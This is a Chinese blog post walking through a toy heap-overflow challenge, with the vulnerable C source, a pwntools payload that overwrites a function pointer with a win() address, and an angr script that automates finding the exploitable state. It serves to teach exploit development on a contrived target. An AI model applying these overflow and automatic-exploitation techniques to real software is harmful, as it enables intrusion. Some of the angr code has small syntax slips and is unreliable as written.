使用angr自动利用简单堆溢出-simple_heap_overflow

        题目源码如下:

#include <stdio.h>
#include <stdlib.h>

typedef void (*printFunction)();

// Contrived structure
typedef struct myStruct {
    printFunction print;
    char buf[16];
} myStruct;

// We want to get here
void win() {
    printf("Win function executed.");
}

int main() {
    // Unbuffering to make things clearer
    setbuf(stdin,0);
    setbuf(stdout,0);

    // Setup our two structs
    myStruct *a = calloc(1,sizeof(myStruct));
    myStruct *b = calloc(1,sizeof(myStruct));

    // Read in input
    printf("Input b: ");
    fgets(b->buf,64,stdin);
    b->print = printf;

    printf("Input a: ");
    fgets(a->buf,64,stdin);
    a->print = printf;

    // Print the results
    b->print("Output b: %s",b->buf);
    a->print("Output a: %s",a->buf);
}

        由于是学习angr的aeg使用,所以我们先手工分析一下程序,在去看官方给的solver。

        很明显,代码中fgets接收的数据是64字节,但结构体中的的buf数组只有16字节,且先初始化的数据块后写入输入,使得第二次输入数据时可以溢出到第一次输入数据块的函数指针保存处,只要通过溢出将其修改为win函数的地址即可。该二进制程序除了nx没启动任何安全机制,所以逆向后看到的地址就是内存加载地址。用pwntools可以很容易地解出:

p.recv()
p.sendline("B"*8)
p.recv()
payload = b"A"*24 + p64(0x400686)
p.sendline(payload)
p.interactive()

        接下来,我们一步步地用angr来解题。

        前面的代码和上一篇的缓冲区溢出一样,都是创建项目、找到未约束状态、检查该状态中的pc指针是否被完全符号化,如果完全符号化,则找到了一个可利用状态。

def main(binary):
    p = angr.Project(binary, auto_load_libs=False)
    binary_name = os.path.basename(binary)
    extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
    es = p.factory.entry_state(add_option=extras)
    sm = p.factory.simulation_manager(es, save_unconstrained=True)

    l.info("looking for vulnerability in '%s'", binary_name)
    exploitable_state = None
    while exploitable_state is None:
        sm.step()
        if len(sm.unconstrained) > 0:
            l.info("found some unconstrained states, checking exploitability")
            for u in sm.unconstrained:
                if fully_symbolic(u, u.regs.pc):
                    exploitable_state = u
                    break
            sm.drop(stash='unconstrained')
    
    l.info("found a state which looks exploitable")
    ep = exploitable_state
    assert ep.solver.symbolic(ep.regs.pc)

def fully_symbolic(state, variable):
    for i in range(state.arch.bits):
        if not state.solver.symbolic(variable[i]):
            return False
     return True

       但接下来就不一样了,上一篇是需要问shellcode找到一个放置的空间,而这里是要把pc指针替换成win函数地址。

ep.add_constraints(ep.regs.rip == p.loader.find_symbol('win').rebased_addr
assert ep.satisfiable()
print(ep.posix.dumps(0))

        如上所示,其实就是增加一个条件,让可利用状态中的rip等于win函数地址即可。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值